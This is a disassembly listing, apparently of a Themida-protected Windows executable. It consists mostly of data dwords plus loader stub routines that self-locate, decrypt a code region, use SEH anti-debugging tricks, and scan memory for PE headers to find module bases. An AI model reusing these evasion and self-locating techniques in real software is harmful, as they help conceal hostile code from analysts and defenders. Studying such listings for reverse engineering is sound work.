		dd 21FFB000h, 2, 2 dup(0)
		dd 99E900h, 0
		dd 12FEF000h, 9	dup(0)
		dd 91FFB000h, 1, 138h dup(0)
		dd 5A7FFF00h, 3	dup(0)
		dd 69C400h, 0
		dd 5890FC00h, 2	dup(0)
		dd 58425700h, 0
		dd 0FFFFFF00h, 0FFh, 2 dup(0)
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Ch dup(0)
		dd 4DE00000h, 0DCEDAD00h, 0D8h,	58818100h, 0
		dd 5DD2A200h, 7400h, 8 dup(0)
		dd 24242400h, 24h, 0F669F500h, 0F8h, 5 dup(0)
		dd 0FF919600h, 0FFh, 0Ah dup(0)
		dd 57D39E00h, 32h, 2 dup(0)
		dd 235E00h, 0
		dd 0FE2E9400h, 7Fh, 37077200h, 75h, 5B33E600h, 0Ch dup(0)
		dd 8700h, 0E776CD00h, 77h, 0FF8AF000h, 0FFh, 8 dup(0)
		dd 0A16CB000h, 0A1FA5600h, 4 dup(0)
		dd 26847E00h, 6Dh, 0Bh dup(0)
		dd 0D6051700h, 5Ah, 5A08C000h, 9 dup(0)
		dd 550A4D00h, 5C1FEB00h, 0Ah dup(0)
		dd 0A2C61600h, 7Fh, 100h, 0D93A0B00h, 5Bh, 6BD61600h, 79h
		dd 15h dup(0)
		dd 3F41F00h, 75h, 3 dup(0)
		dd 2D00h, 5 dup(0)
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 591ABC00h, 8	dup(0)
		dd 3A000h, 4 dup(0)
		dd 0E78B8200h, 77h, 2 dup(0)
		dd 200000h, 0
		dd 215BFB00h, 4A8D8D29h, 0ECh, 6 dup(0)
		dd 5BBC8600h, 12FF6400h, 0Ah dup(0)
		dd 0A000h, 0
		dd 54002300h, 0
		dd 6AEF00h, 0
		dd 0E82FE800h, 0A991BD77h, 7Fh,	2 dup(0)
		dd 0BBC7EF00h, 5Eh, 0
		dd 0FE030400h, 66EB397Fh, 0FFh,	0FE030400h, 7Fh, 9000h
		dd 12h dup(0)
		dd 60EB00h, 0
		dd 6AEF00h, 9 dup(0)
		dd 5D000000h, 2, 2 dup(0)
		dd 3D9400h, 0
		dd 5D504600h, 4	dup(0)
		dd 0D6ADFE00h, 0BB79DB77h, 1Fh,	6 dup(0)
		dd 0A222D800h, 0
		dd 42000800h, 2, 0E6772100h, 93D8777h, 7D13Bh, 4001D800h
		dd 7 dup(0)
		dd 0FE030400h, 7Fh, 0FE030400h,	7Fh, 0
		dd 3B000h, 0E21A7A00h, 0F1h, 0AB2FA300h, 0FFh, 4 dup(0)
		dd 0FE477800h, 0FFh, 0D1A2F300h, 0D2h, 5 dup(0)
		dd 400h, 2 dup(0)
		dd 9CADFB00h, 14h, 0AF000000h, 0
		dd 5A9F2F00h, 0Ch dup(0)
		dd 5B000000h, 2, 3 dup(0)
		dd 96337100h, 70h, 0A0003E00h, 5 dup(0)
		dd 1FCFC00h, 80h, 2 dup(0)
		dd 0C0E39200h, 0ACh, 3 dup(0)
		dd 0FF18D000h, 0FFh, 5 dup(0)
		dd 7EDB00h, 585C0F00h, 18h dup(0)
		dd 0B3FFFD00h, 0
		dd 0E8216800h, 77h, 99030400h, 14Dh, 0
		dd 0A223E800h, 5 dup(0)
		dd 0A169DD00h, 8 dup(0)
		dd 59ECB700h, 3	dup(0)
		dd 1E000000h, 5ECDCB00h, 2 dup(0)
		dd 4C010F00h, 24h, 0Eh dup(0)
		dd 5AA2F300h, 2	dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 2E7200h, 0
		dd 12FFE000h, 5	dup(0)
		dd 5A95E300h, 2	dup(0)
		dd 73655200h, 74726174h, 2E707041h, 657865h, 1FCFC00h
		dd 80h,	5ABFCD00h, 7 dup(0)
		dd 586B3F00h, 2	dup(0)
		dd 2B00h, 2 dup(0)
		dd 5C1FEB00h, 4	dup(0)
		dd 329D8200h, 40981D06h, 31h, 0
		dd 426CB800h, 102h, 0FE030400h,	7Fh, 0Ch dup(0)
		dd 0FE030400h, 7Fh, 58429A00h, 2 dup(0)
		dd 5A56CC00h, 2	dup(0)
		dd 1FCFC00h, 80h, 5 dup(0)
		dd 3D9400h, 0
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 0A1A037h, 448BE0FFh,	0E0FF0424h, 13h	dup(0)
		dd 0EDE900h, 5834DF00h,	0
		dd 0F267E00h, 6Bh, 0
		dd 0B1633400h, 40000000h, 2 dup(0)
		dd 100h, 7 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 0E776CD00h, 77h, 0E6003E00h,	5D609677h, 54DEDD00h, 0F5000000h
		dd 77h,	0
		dd 5AA28C00h, 0E78B8200h, 0A8FCDC77h, 5BB9587Fh, 3 dup(0)
		dd 11140200h, 65h, 3 dup(0)
		dd 0A1923400h, 4 dup(0)
		dd 0E2F500h, 3 dup(0)
		dd 0A169DD00h, 0D4C96A00h, 0A7BD6677h, 0FFh, 5 dup(0)
		dd 0A18C0A00h, 0
		dd 0A00FE600h, 0
		dd 0A242E700h, 34h, 5A21A900h, 0
		dd 586B5100h, 0FFF99F00h, 0DD9C4AFFh, 47E2817h,	2 dup(0)
		dd 55597400h, 86h, 2 dup(0)
		dd 3C7A300h, 38h, 10h dup(0)
		dd 200h, 0FFD04800h, 0FFh, 0
		dd 4A6BD700h, 2, 0F52E0F00h, 0C530DF77h, 0A9h, 2 dup(0)
		dd 58002300h, 0Bh dup(0)
		dd 1E73CE00h, 6Bh, 35FB9C00h, 7Fh, 2 dup(0)
		dd 58FAC500h, 4	dup(0)
		dd 183000h, 4 dup(0)
		dd 110B5F00h, 0Ah dup(0)
		dd 5B000000h, 2, 4A6BD700h, 58103F02h, 6 dup(0)
		dd 8D99E900h, 57h, 0CD9DAB00h, 69h, 4 dup(0)
		dd 6AEF00h, 3 dup(0)
		dd 0FF344800h, 0FFh, 0FF48E500h, 0FFh, 0FE030400h, 7Fh
		dd 54002300h, 2	dup(0)
		dd 95825900h, 0A169DD71h, 0
		dd 170AD00h, 0
		dd 4E464C00h, 0A7h, 100h, 4 dup(0)
		dd 0A12BDE00h, 3 dup(0)
		dd 637E2100h, 12FEF8E1h, 3 dup(0)
		dd 0FE1CB000h, 0A232687Fh, 3 dup(0)
		dd 974B4000h, 0E7A099FFh, 0EC77h, 0B41B4000h, 53C5D976h
		dd 2Fh,	5 dup(0)
		dd 0A169DD00h, 0F5180B00h, 77h,	2 dup(0)
		dd 0C22D3F00h, 3813h, 6	dup(0)
		dd 5BBDCF00h, 7800h, 0Bh dup(0)
		dd 0DD000000h, 0A169DD77h, 3 dup(0)
		dd 6ADD00h, 0
		dd 0E7AC5E00h, 0F68D8D77h, 39h,	100h, 1517E900h, 0C5h
		dd 3 dup(0)
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 5E1700h, 0
		dd 5C841E00h, 9	dup(0)
		dd 7C00h, 3 dup(0)
		dd 0A6E6F100h, 337D57Fh, 16h dup(0)
		dd 185F00h, 3 dup(0)
		dd 4497800h, 3 dup(0)
		dd 58FAC500h, 0
		dd 379900h, 58429A00h, 0
		dd 0EA4E6700h, 76h, 0
		dd 0FE030400h, 7Fh, 0FE030400h,	7Fh, 0Fh dup(0)
		dd 0A170C400h, 4 dup(0)
		dd 0E7A5FD00h, 0FBBE0477h, 0FAh, 0ADBC8200h, 2 dup(0)
		dd 574DFE00h, 0FFh, 5 dup(0)
		dd 99E900h, 0
		dd 0FE030400h, 7Fh, 0A3CAFF00h,	0FFh, 0C530DF00h, 0A9h
		dd 0D3B43700h, 586B3FB2h, 0Fh dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0A37FD800h, 2 dup(0)
		dd 0A18C0A00h, 0
		dd 586B3F00h, 6	dup(0)
		dd 0A109F700h, 9 dup(0)
		dd 35FB9D00h, 7Fh, 54EEA500h, 5	dup(0)
		dd 58002300h, 5C6CAE00h, 2214000h, 7 dup(0)
		dd 0A400h, 0
		dd 0E8000h, 0
		dd 0FE1CFE00h, 7Fh, 42000000h, 2, 2 dup(0)
		dd 0E5D8C200h, 0B9FBF138h, 0C3FDFD78h, 0F3h, 0DFB40800h
		dd 42h,	3 dup(0)
		dd 6425AB00h, 1, 0FE7A8000h, 7Fh, 5 dup(0)
		dd 0A1314500h, 0A2156800h, 15h dup(0)
		dd 3E592400h, 0BFh, 10h	dup(0)
		dd 0A6D44300h, 0FFh, 4FFFBA00h,	2710FFh, 0E805D800h, 77h
		dd 4 dup(0)
		dd offset dword_5C0900
		dd 9 dup(0)
		dd 40000000h, 5A3DF300h, 0C0F0BE00h, 0FFh, 8 dup(0)
		dd 58000000h, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 9B60000h, 1,	2 dup(0)
		dd 5501A400h, 72661700h, 0A8h, 2 dup(0)
		dd 0A794C100h, 0FFh, 0
		dd 7000h, 5 dup(0)
		dd 54EEA600h, 5D609600h, 2 dup(0)
		dd 644000h, 0A16CB000h,	5 dup(0)
		dd 54E27D00h, 2	dup(0)
		dd 0E000h, 7 dup(0)
		dd 0A13E3B00h, 2 dup(0)
		dd 1ED1400h, 4 dup(0)
		dd 8D99E900h, 7CEF9757h, 0F8h, 0
		dd 0A1939300h, 4 dup(0)
		dd 5BB62600h, 0
		dd 8000h, 2 dup(0)
		dd 0F853B300h, 170AD1Ch, 2 dup(0)
		dd 68D95000h, 1902h, 0FE030400h, 7Fh, 6	dup(0)
		dd 0FFFF6400h, 0FFh, 3D9400h, 0Dh dup(0)
		dd 0A7BD6600h, 0FFh, 3 dup(0)
		dd 58143000h, 3	dup(0)
		dd 95825900h, 71h, 0
		dd 40000000h, 4	dup(0)
		dd 352C1D00h, 6Fh, 0
		dd 0D8757900h, 71h, 5 dup(0)
		dd 0F7EBB300h, 77h, 3 dup(0)
		dd 18D200h, 54DB7500h, 65685400h, 6164696Dh, 1Dh dup(0)
		dd 8C49C100h, 57h, 5A95E300h, 0
		dd 490AC200h, 80h, 0
		dd 9000000h, 8E000000h,	2, 5 dup(0)
		dd 3A00000h, 0A6F9C100h, 0FFFFFF7Fh, 0FFh, 6AEF00h, 3 dup(0)
		dd 0FB097D00h, 0FFh, 5C042500h,	6 dup(0)
		dd 0A800h, 5 dup(0)
		dd 0DD23D700h, 5BE2FE77h, 4Bh, 2 dup(0)
		dd 5BA5B800h, 92E91Bh, 2 dup(0)
		dd 0F0CF5000h, 0CBh, 2 dup(0)
		dd 0A2B87200h, 0FFh, 0
		dd 0A6F07100h, 0FFh, 5 dup(0)
		dd 0A1949900h, 58965700h, 2A00h, 0FF000000h, 5DD2A2FFh
		dd 4 dup(0)
		dd 0A15E2E00h, 5 dup(0)
		dd 0A0A26E00h, 7Fh, 5 dup(0)
		dd 490AC200h, 80h, 5BB80300h, 0A242E700h, 34h, 9C00h, 59196B00h
		dd 4 dup(0)
		dd 0E6772600h, 59793177h, 0
		dd 40100000h, 0
		dd 0A606A500h, 0FFh, 0
		dd 170AD00h, 3 dup(0)
		dd 143AF00h, 564300h, 0DD59F000h, 0AC004677h, 19EFC00h
		dd 80h,	4 dup(0)
		dd 0FE317600h, 0A539DA7Fh, 0FF9196FFh, 0FFh, 2Ch dup(0)
		dd 0BDA9E900h, 3Ah, 1FCFC00h, 80h, 6 dup(0)
		dd 5BBFB200h, 0EB91B300h, 0C0h,	2 dup(0)
		dd 0AFB1CA00h, 4 dup(0)
		dd 5812B200h, 0
		dd 0FF6D1700h, 0FFh, 4 dup(0)
		dd 0CFE63200h, 420008FFh, 2, 54E27900h,	2 dup(0)
		dd 0FFFEF000h, 4FFh, 7 dup(0)
		dd 0FE030400h, 7Fh, 7 dup(0)
		dd 0A1A03700h, 3 dup(0)
		dd 100h, 5A576200h, 2 dup(0)
		dd 6EE2F500h, 55h, 0A242E700h, 34h, 2 dup(0)
		dd 0DB7FA700h, 26h, 6AEF00h, 0
		dd 5959F800h, 3	dup(0)
		dd 0C530DF00h, 6B6A9h, 3 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 5B9A6E00h, 200h, 2 dup(0)
		dd 5DBD1900h, 0CBh, 0
		dd 0E3259900h, 58974A4Dh, 0E83E6800h, 0FC324677h, 0FFh
		dd 8 dup(0)
		dd 5959F800h, 8	dup(0)
		dd 0B7FFEE00h, 0FFh, 7 dup(0)
		dd 100h, 2 dup(0)
		dd 58E9BC00h, 0
		dd 100h, 63h dup(0)
		dd 5FF7FF00h, 0
		dd 12FEF000h, 6	dup(0)
		dd 0E7C48600h, 77h, 5BBC8600h, 0
		dd 58E9BC00h, 0Ah dup(0)
		dd 99E900h, 5C84E700h, 2 dup(0)
		dd 0A58D5300h, 2 dup(0)
		dd 0E776CD00h, 12FFE077h, 0E75CB500h, 77h, 3 dup(0)
		dd 4001D800h, 5	dup(0)
		dd 5B33EF00h, 0A0000000h, 3 dup(0)
		dd 586B0100h, 35B00h, 0
		dd 0DD189A00h, 77h, 2 dup(0)
		dd 59FCD000h, 24h dup(0)
		dd 0EC00h, 0C0029F00h, 0EBh, 2 dup(0)
		dd 12FEF800h, 7	dup(0)
		dd 658B4800h, 2	dup(0)
		dd 5AD7C600h, 0
		dd 8C00h, 0A2391E00h, 6	dup(0)
		dd 148D8D00h, 0DDh, 9400h, 5 dup(0)
		dd 5AB0D500h, 0FE030400h, 7Fh, 3 dup(0)
		dd 0FFFFFF00h, 0FFh, 40E900h, 0A109F700h, 3 dup(0)
		dd 739000h, 5 dup(0)
		dd 8E143C00h, 12FF5402h, 5A28C900h, 3 dup(0)
		dd 0ACB9BF00h, 5Fh, 0
		dd 0FF661700h, 0FFh, 59E2AD00h,	4 dup(0)
		dd 1FCFC00h, 80h, 0
		dd 5834DF00h, 0
		dd 42352100h, 0FE0304DDh, 5900237Fh, 2 dup(0)
		dd 0BAB94800h, 11h, 0
		dd 0E8FBF000h, 0EBA6E9FAh, 5D45E577h, 9	dup(0)
		dd 5A572900h, 2	dup(0)
		dd 12FFA400h, 0FFFF4400h, 0FFh,	0Ah dup(0)
		dd 100h, 21h dup(0)
		dd 451C700h, 39h, 2 dup(0)
		dd 597FEF00h, 4	dup(0)
		dd 0FE0A0400h, 7Fh, 316A1000h, 2, 2 dup(0)
		dd 0A5A5E700h, 99E900h,	0
		dd 0A39BAC00h, 0A222D800h, 3 dup(0)
		dd 4ACDCE00h, 2Fh, 3 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 56380200h, 82h, 5 dup(0)
		dd 12FF2400h, 17h dup(0)
		dd 0A3B13400h, 30EB00h,	0
		dd 2300h, 0Ch dup(0)
		dd 5B9EA400h, 100h, 0Ch	dup(0)
		dd 8358300h, 7401DD88h,	5643D8h, 2 dup(0)
		dd 0E1FFFD00h, 1, 4 dup(0)
		dd 58812700h, 59396400h, 0FE030400h, 7Fh, 5 dup(0)
		dd 4A8D8D00h, 0A242E7ECh, 34h, 3 dup(0)
		dd 0C409C800h, 2, 6 dup(0)
		dd 36363600h, 1FCFC36h,	80h, 5DBD1900h,	0A0B168CBh, 3 dup(0)
		dd 0A19C3700h, 0B1FFB000h, 1, 2	dup(0)
		dd 58130200h, 6E800h, 0E78D8D00h, 9960B7Dh, 7, 0A1229200h
		dd 5 dup(0)
		dd 0D4C96A00h, 77h, 1Ch	dup(0)
		dd 0E6000000h, 77h, 5B995700h, 40339900h, 0B5h,	340A5300h
		dd 5Ch,	0FE030400h, 7Fh, 0E8061800h, 77h, 3 dup(0)
		dd 8E800h, 58002300h, 4	dup(0)
		dd 100h, 12FF5400h, 2 dup(0)
		dd 739000h, 0
		dd 0ACC68400h, 990304D3h, 0B1A1FE4Dh, 6	dup(0)
		dd 9EFC5C00h, 75h, 5 dup(0)
		dd 0FFF7CE00h, 0FFh, 0
		dd 4A9ABC00h, 2, 2 dup(0)
		dd 0C530DF00h, 0A9h, 7 dup(0)
		dd 0AB23DF00h, 0FFh, 2 dup(0)
		dd 0A242E700h, 34h, 5812DA00h, 3 dup(0)
		dd 0A3731600h, 8 dup(0)
		dd 0A0D55400h, 5 dup(0)
		dd 4E0FF00h, 70h, 4 dup(0)
		dd 941D5F00h, 26h, 0B13C00h, 0A826B700h, 0FFh, 3 dup(0)
		dd 0D4000000h, 77h, 3 dup(0)
		dd 12FFC400h, 3	dup(0)
		dd 0BC90AC00h, 1, 0
		dd 58CF7300h, 9	dup(0)
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 0E001400h, 4	dup(0)
		dd 0E922CC00h, 5D478E72h, 0
		dd 59E91E00h, 4	dup(0)
		dd 0CABBF100h, 25h, 0
		dd 0A169DD00h, 5 dup(0)
		dd 0A55F3400h, 47E00FFh, 2 dup(0)
		dd 28010500h, 0Ah, 0A169DD00h, 5A17A900h, 6 dup(0)
		dd 6AEF00h, 3 dup(0)
		dd 0FE030400h, 7Fh, 5D2E7300h, 2 dup(0)
		dd 5842D300h, 7	dup(0)
		dd 5D609600h, 7	dup(0)
		dd 0A794C100h, 0FFh, 22222200h,	22222222h, 22h,	3 dup(0)
		dd 0B0FB1600h, 0E6770200h, 77h,	0B27BB400h, 0D6h, 490AC200h
		dd 80h,	4 dup(0)
		dd 0A3428900h, 7Fh, 0
		dd 4D844C00h, 5D2E7829h, 5AC70A00h, 2 dup(0)
		dd 0CC905D00h, 7Bh, 5 dup(0)
		dd 5506A800h, 2Ch dup(0)
		dd 5C146100h, 0FE030400h, 7Fh, 739000h,	3 dup(0)
		dd 54DF1000h, 5	dup(0)
		dd 0DD00000h, 4	dup(0)
		dd 14462800h, 6	dup(0)
		dd 83E900h, 0A1915B00h,	95824000h, 0FEh, 2 dup(0)
		dd 12FF5400h, 1F567200h, 0
		dd 6AEF00h, 93B46700h, 8Fh, 0
		dd 11111100h, 11h, 8D99E900h, 57h, 8 dup(0)
		dd 100h, 0
		dd 57D59400h, 87F05700h, 76h, 8	dup(0)
		dd 5BCB6500h, 0E75CB500h, 0A39BAC77h, 2	dup(0)
		dd 0FE7AE800h, 7Fh, 2 dup(0)
		dd 54DEDD00h, 586B3F00h, 0
		dd 3787600h, 3 dup(0)
		dd 5959F800h, 0Fh dup(0)
		dd 7401DD00h, 5A52E6D8h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54FC51:				; CODE XREF: start:loc_54C7ACj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7E034AFh
		mov	[ebp+7E03099h],	edx
		mov	[ebp+7E01B0Dh],	esi
		mov	[ebp+7E00671h],	eax
		cmp	dword ptr [ebp+7E00F8Dh], 0
		jz	short loc_54FC89
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54FC89:				; CODE XREF: start+6FC67j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+7E01949h],	eax
		push	45h
		call	sub_54FD3D
		push	783749Ah
		call	sub_54FD83
		push	0A894B25h
		call	sub_54FD83
		jmp	loc_54FEC7
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54FD3D	proc near		; CODE XREF: start+6FC81p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E0359Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54FD59:				; CODE XREF: sub_54FD3D+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54FD78
		mov	eax, [ebp+arg_0]
		mov	[ebx+7E03507h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54FD59
; ---------------------------------------------------------------------------


loc_54FD78:				; CODE XREF: sub_54FD3D+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54FD83	proc near		; CODE XREF: start+6FC8Bp start+6FC95p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E035E6h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54FDA9:				; CODE XREF: sub_54FD83+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54FDA9
		mov	[ebp+var_84], 0
		lea	edi, [edx+7E03507h]
		lea	esi, [ebp+var_80]


loc_54FDD9:				; CODE XREF: sub_54FD83+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54FDE5:				; CODE XREF: sub_54FD83+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54FDE5
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54FDD9
		popa
		leave
		retn	4
sub_54FD83	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54FE23
; ---------------------------------------------------------------------------


loc_54FE1F:				; CODE XREF: Themida_:0054FE26j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54FE23:				; CODE XREF: Themida_:0054FE1Dj
		cmp	byte ptr [esi],	0
		jnz	short loc_54FE1F
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54FEB4
; ---------------------------------------------------------------------------


loc_54FE35:				; CODE XREF: Themida_:0054FEB7j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54FEAB
; ---------------------------------------------------------------------------


loc_54FE3E:				; CODE XREF: Themida_:0054FEAFj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54FE98
; ---------------------------------------------------------------------------


loc_54FE4E:				; CODE XREF: Themida_:0054FE9Cj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54FE70
		cmp	bl, 39h
		ja	short loc_54FE70
		sub	bl, 30h
		jmp	short loc_54FE92
; ---------------------------------------------------------------------------


loc_54FE70:				; CODE XREF: Themida_:0054FE64j
					; Themida_:0054FE69j
		cmp	bl, 61h
		jb	short loc_54FE82
		cmp	bl, 66h
		ja	short loc_54FE82
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54FE92
; ---------------------------------------------------------------------------


loc_54FE82:				; CODE XREF: Themida_:0054FE73j
					; Themida_:0054FE78j
		cmp	bl, 41h
		jb	short loc_54FE92
		cmp	bl, 46h
		ja	short loc_54FE92
		sub	bl, 41h
		add	bl, 0Ah


loc_54FE92:				; CODE XREF: Themida_:0054FE6Ej
					; Themida_:0054FE80j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54FE98:				; CODE XREF: Themida_:0054FE4Cj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54FE4E
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54FEA8
		mov	eax, [ebp-10h]
		stosb


loc_54FEA8:				; CODE XREF: Themida_:0054FEA2j
		inc	dword ptr [ebp-8]


loc_54FEAB:				; CODE XREF: Themida_:0054FE3Cj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54FE3E
		add	edx, 4


loc_54FEB4:				; CODE XREF: Themida_:0054FE33j
		cmp	edx, [ebp-4]
		jb	loc_54FE35
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54FEC7:				; CODE XREF: start+6FC9Aj
		mov	ecx, 7000h
		lea	edi, [ebp+7E0372Ch]


loc_54FED2:				; CODE XREF: start+6FEC2j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54FED2
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7E03812h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jnz	loc_54FF0A
		cmc


loc_54FF0A:				; CODE XREF: start+6FEEFj
		mov	ebx, 263EC816h
		sub	eax, edx
		ja	loc_54FF28
		jmp	loc_54FF28
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 0C23DCB67h, 0D0D137B2h, 3E10365Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54FF28:				; CODE XREF: start+6FEFDj start+6FF03j
		and	eax, 0FFFFF000h
		mov	bx, 51B3h
		mov	ecx, edx
		xor	edi, edi


loc_54FF35:				; CODE XREF: start+6FF3Cj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54FF4A
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54FF52


loc_54FF4A:				; CODE XREF: start+6FF26j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54FF35
; ---------------------------------------------------------------------------


loc_54FF52:				; CODE XREF: start+6FF34j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+7E03825h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54FF8C
		mov	esi, [eax+1Ch]


loc_54FF8C:				; CODE XREF: start+6FF73j
		xor	eax, eax


loc_54FF8E:				; CODE XREF: start+6FF8Dj
		cmp	eax, 32h
		jz	short loc_54FFB2
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54FFA3


loc_54FF9A:				; CODE XREF: start+6FF9Cj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54FF8E
; ---------------------------------------------------------------------------


loc_54FFA3:				; CODE XREF: start+6FF84j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54FFF4
		jmp	short loc_54FF9A
; ---------------------------------------------------------------------------


loc_54FFB2:				; CODE XREF: start+6FF7Dj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 8B51h
		dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
		dd 0
aBa08rNeu7rIb	db ']í08à',7,'…î7à',7,'‰¸',0
		db 2 dup(0), 5Dh
		dd 0C3C03359h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54FFF4:				; CODE XREF: start+6FF9Aj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	eax
		call	sub_55000A
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_55000A	proc near		; CODE XREF: start+6FFEEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_55000A	endp

; ---------------------------------------------------------------------------
		dw 0DEB2h
		dd 6ADFBF0Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0A77AC353h, 14E95Ch, 9C9F0000h
		dd 3CE014BFh, 63BEB273h, 17C4A772h, 3476E12Fh, 8C66C5DCh
		dd 0D8B70FD9h, 8004E180h, 0C90A80F7h, 46850Fh, 11E90000h
		dd 0F3000000h, 0B368BF00h, 0AA03B177h, 4EF5CE62h, 0EB620917h
		dd 16B185C7h, 107E0h, 860F0000h, 5, 0C941EBBh, 23E95Eh
		dd 0F88A0000h, 0FE9h, 0F7CAB500h, 0FD7E3D0Fh, 64333D02h
		dd 0E99F6235h, 16B185C7h, 7E0h,	8B660000h, 18589D8h, 6607E02Fh
		dd 893941BBh, 0E0292D85h, 0EE807h, 0E2FB0000h, 4FD60C4h
		dd 3ADBCCE0h, 0B95100C5h, 0B45AC38Bh, 0EAC28182h, 0F8000063h
		dd 23D04DBEh, 7FEE8168h, 666823B7h, 8B8600BBh, 81DD8A3Ah
